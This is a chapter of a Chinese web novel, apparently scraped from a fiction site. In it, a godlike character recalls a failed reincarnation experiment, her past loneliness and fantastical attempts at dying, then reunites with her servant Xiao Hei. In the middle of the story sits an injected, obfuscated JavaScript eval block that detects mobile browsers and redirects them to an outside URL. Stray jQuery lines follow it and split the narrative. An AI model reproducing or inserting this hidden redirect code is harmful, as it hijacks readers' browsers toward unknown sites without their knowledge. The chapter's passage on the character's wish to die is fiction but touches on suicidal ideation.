当星露谷遇上末日被榨干的脑子

88.过去的记忆

回到正题,百年的时间,小镇上走过了五代人,前面也说了,这个小镇本来就只有五百多个灵魂,要充实成五代人,这个小镇的死亡率就相当高。


同样,同龄人的人数也相当的少。


新版本比起之前的小镇多了养育孩子的功能,这个功能也造成居民们的交流变得频繁。


所以在第三代出生,第一代开始有人死亡的时候,有人就意识到了孩子的不对劲,与父母中的任意一人都不像,反而是像一个已经死去的没有关系的人。


这种情况再第四代和第五代彻底爆发出来,小镇上的人离世界的真相更近了一步。


死亡的速度越来越快,居民以令人震惊的速度死去,而新生者却寥寥无几,在最后一对死去之后,小镇彻底空荡。


当岁生春再度准备复盘自己的错误,重开时,却发现那些魂魄已经开始有或多或少的损伤了,全是从魂芯之处向外波及,并非外力导致,而是其内部的问题。


经过一番由内至外,拆骨挖髓,彻底拆解的分析研究,岁生春发现,这是轮回太多次导致的。她虽然将他们的记忆消除了,可经历过的那长久的时间,都不是能够轻易抹除的存在,还是隐藏极深地印刻入灵魂。面对着这样内心与现实的矛盾重重,撕裂之痛在所难免。


可撕裂过后,就是真正的清醒。


死亡应运而生。


岁生春最后放弃了这个方向的研究,可是这惨痛的结局带给她的震撼却久久不能忘怀。


当时的她看着他们无休无止地奔赴死亡的模样,除去浅薄的震撼,剩下的,只有对于此处终究不是真正的轮回的遗憾。


但是除此之外,她也在思考着。


明明他们有那么多的人,为什么还是会感到孤独?


孤独究竟是一种怎样的东西?


最后,她将他们的灵魂放归虚无,她知道再强求下去只会带来更加惨痛的后果,就算她知道回归虚无也是死路一条,也总比让他们在她的研究中丧生好,好歹那是他们自己选择的道路。


在这场研究中浮现出来的问题,她一直没能解析出来,直到——


后来,她也确实发现——孤独无药可解。


她的不理解放在后来的自己身上宛如一个回旋镖,重重地扎在她的身上,几乎将她肢解殆尽。


由于孤独,她决定创造热闹的景象,可那时她的孤独却并不深刻,那只是一种无趣,不习惯。所以在看到同样因为孤独而坚持赴死的人而感到困惑。


可是后来,在漫长得如同永无止境的生活之中,她几乎将一切方向都尝试过了,就算是用穷举法,也将几乎将所有的可能性试了一个遍。


她不再有排得满满当当的实验,不再有需要一直思索的问题,也不再有源源不断需要解决的困难,她才感到一丝不同以往的寂寞。


它是一种很轻很轻的情绪,就这样轻轻地飘在心脏的顶端,每当她的注意力掠过它,它都会跳出来与她聊天。


那里会出现什么,接下来的水流会是什么方向,风将要飘到哪去,她们都知道,她们对于这里太熟悉了,熟悉到,想要死亡的体验也可以马上就获得。


那个水流中,以某个角度进去,会被卷入其中的一个小小暗流中,只要力度把握好,就可以将自己完全困入水中,没有外力的作用,她会一直那里循环,直至世界的能量与暗流的能量一同耗尽,死亡成功降临。


那道暗流是天灾的一部分,天灾与世界同存亡。


这是最简单的不需要操作的死法。


还可以选一点花里胡哨的死法,比如不过结果也都差不多,等到这个世界的能量都用来复活她,成功耗尽,她就可以迎来真正的死亡。


当然最快的还是去找毁灭打架,他们会回收能量,只要把能量都输送给他们,将会最快抵达那永恒的沉静。


她和孤独聊了很久,也都一一去试过了这些方法,可后来还是因为能量过于庞大,需要耗费的时间太长而放弃,能找到的毁灭爪牙更是只有一些小喽喽,吸收不了太多的能量。


要怪只能怪她前些年过于勤奋,为了完成自己的实验,从其他世界薅了太多东西。


不过和孤独聊天倒是很开心,她当然知道他们的聊天很是危险,可是没有办法,她太孤独了。


未来可以完全被预测的世界就像是一个破解版的游戏,完全没有游玩的兴致,虽然这个游戏是在她自己的一次次的努力之下变成的破解版,理论上来说,这代表着这款游戏寿命的尽头。


可是她不甘心,明明知道外面还有那么多好玩的dLC,为什么她就要抱着这样的遗憾离开这个游戏。


抱着这样的念头,岁生春与孤独达成一致,她再也没有来找过她,虽然心头的那抹淡淡阴翳依然存在,可是死亡却不再是她的一个选择。


想到这里,岁生春摸了摸自己的心口,这些突然从记忆深处涌现到脑海里的画面令她的心脏有些不舒服,好像有一座大大的乌云罩在上面一样,压抑低沉的情绪在云层之间若隐若现。


明亮的日光洒在菜上、桌上还有人的身上,秋日的太阳格外的和煦,暖洋洋地照在身上,却也照不去她心间的乌云。


稀稀拉拉的雨下了起来,慢慢变大,瓢泼大雨下了起来,清脆的雨声沉重起来,一滴一滴敲打在她的心间,过去所有被孤独带走的情绪在此时都回到她的身边。


岁生春看着桌上笑着的人们,嘴角也勾出一抹笑,她也吃得差不多了,于是跟其他人道别下席之后,她按照之前的规划,沿着农场的右边出口出去,向着海滩走去。


阳光与金黄的落叶、火红的枫树构成了一个热情似火的世界。


岁生春走在其间,感觉自己的心都忍不住雀跃了几分,脚下的步伐越发轻快,迈得越来越快,越来越快,她偏离了路线。


一步一步踏着无形的阶梯,她走上火红的树梢,站定,俯视着眼前的一片红色,真美啊。





;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16106084|173536||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


心想,怎么能美成这样呢?这真的是她自己做出来的吗?


目光贪婪地看着眼前的一切,她想要离这样的美丽更近一点,可是好难做到,她不知道自己到底想要干什么,她只感觉自己的心好空,需要有东西来填满自己。


右手抬起,红色的树林中,风停了,飘在半空的红叶定格在一个美丽的角度上。


她看见了,它消失了。


心稍微没有那么空了。


她又看见了,一株完美的红枫树,树冠呈现一个完美的伞状,树干绿得发黑,宽度与高度的比例恰好,叶片宽大,边缘锐利,红得像血一样,叶脉被隐藏在这红色之间,犹如一片剔透的红色水晶。


心又满了一点点。


她填平那个观感不雅的空洞,目光又落在一个不起眼的小草上,挺翘的弧度看得她双眼亮晶晶,好完美的弧度。


她抬起手,正准备动手,一个黑洞落在她落脚的枫树上,支撑身体的那片枫叶消失,人也跟着失去平衡,直接掉入那片黑色。


岁生春的上半身还在黑洞外面,那株小草已经成了她囊中之物。


回过神来才发现自己的身体不见了,正准备脱离之际,一股熟悉的气息自黑洞的另一边传过来,她放弃了抵抗,任由身体落入其中。


“小黑~”岁生春一落地,就开心地蹦跶着扑向前方那个黑色的身影,一把将自己的双手搭在人家的双肩之上,两只手紧紧搂住对方的脖子,狠狠锁住。


“您回来了。”黑衣人被紧紧禁锢住,动弹不得,只能僵硬地呆在原地,声音恭敬地说。


“小黑,你在说什么啊?我不是一直都在吗?”岁生春搂着人,手下的力道一直在加大,恨不能将人塞入自己的体内。


黑衣人被巨大的力道压迫着,连说话都有些艰难,嘎吱嘎吱的声音从被抱住的地方响起,时隔多年,他再次感到一股恐惧。


感觉要死了。


“呃……大…………人………..”


岁生春抱着人晃了晃,她现在很开心,怀中充实的手感令她想起了在久远的过去,她床上的那个菠萝抱枕,是迄今为止她买过的最柔软的抱枕,每每抱着,就忍不住想要加大力度,将其揉入怀中。


“小黑——”


“小黑~”


“小黑!”


岁生春开心地叫着怀里人的名字:“小黑你真可爱啊,我好想你啊!”


“小黑,你会喵喵叫吗?小黑猫很可爱的,你会变猫吗?”


“小黑!小黑!你能变成本体吗?想抱更大一点的东西!”


“小黑小黑——你怎么不说话呀!”


岁生春兴奋地叫了半天的小黑,可却没有人回应她,她有点不开心。


于是她拥抱的力道稍微放松了一些,心中想将人揉进怀里的冲动少了一些。


“咳咳……主……人……”沙哑的声音从她的怀里传来,岁生春低下头,只见她的小黑已经从3d变成2d了。